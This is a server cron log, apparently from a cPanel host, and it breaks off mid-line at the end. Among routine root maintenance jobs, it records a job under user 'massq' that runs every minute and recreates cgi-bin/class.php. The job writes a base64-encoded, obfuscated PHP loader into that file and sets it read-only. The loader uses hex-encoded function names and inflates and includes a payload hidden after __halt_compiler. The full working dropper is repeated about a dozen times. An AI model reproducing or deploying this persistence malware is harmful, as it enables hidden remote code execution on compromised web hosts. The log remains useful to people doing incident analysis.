Sep  7 14:20:01 server CROND[17465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:20:01 server CROND[17468]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:20:01 server CROND[17470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:20:01 server CROND[17476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:20:01 server CROND[17479]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 14:20:01 server CROND[17475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:20:01 server CROND[17474]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 14:21:01 server CROND[18322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:21:01 server CROND[18323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:21:01 server CROND[18324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:22:01 server CROND[18724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:22:01 server CROND[18725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:22:01 server CROND[18726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:23:01 server CROND[19118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:23:01 server CROND[19119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:23:01 server CROND[19120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:24:01 server CROND[19498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:24:01 server CROND[19500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:24:01 server CROND[19499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:25:01 server CROND[19976]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:25:01 server CROND[19980]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 14:25:01 server CROND[19979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:25:01 server CROND[19984]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 14:25:01 server CROND[19981]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:25:01 server CROND[19982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:25:01 server CROND[19983]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 14:25:01 server CROND[19978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:26:01 server CROND[20829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:26:01 server CROND[20830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:26:01 server CROND[20831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:27:01 server CROND[21212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:27:01 server CROND[21213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:27:01 server CROND[21214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:27:01 server CROND[21215]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 14:28:01 server CROND[21593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:28:01 server CROND[21594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:28:01 server CROND[21595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:29:01 server CROND[22003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:29:01 server CROND[22004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:29:01 server CROND[22005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:30:01 server CROND[22582]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:30:01 server CROND[22583]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 14:30:01 server CROND[22586]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 14:30:01 server CROND[22589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:30:01 server CROND[22585]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 14:30:01 server CROND[22590]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:30:01 server CROND[22587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:30:01 server CROND[22588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:31:01 server CROND[23586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:31:01 server CROND[23587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:31:01 server CROND[23588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; 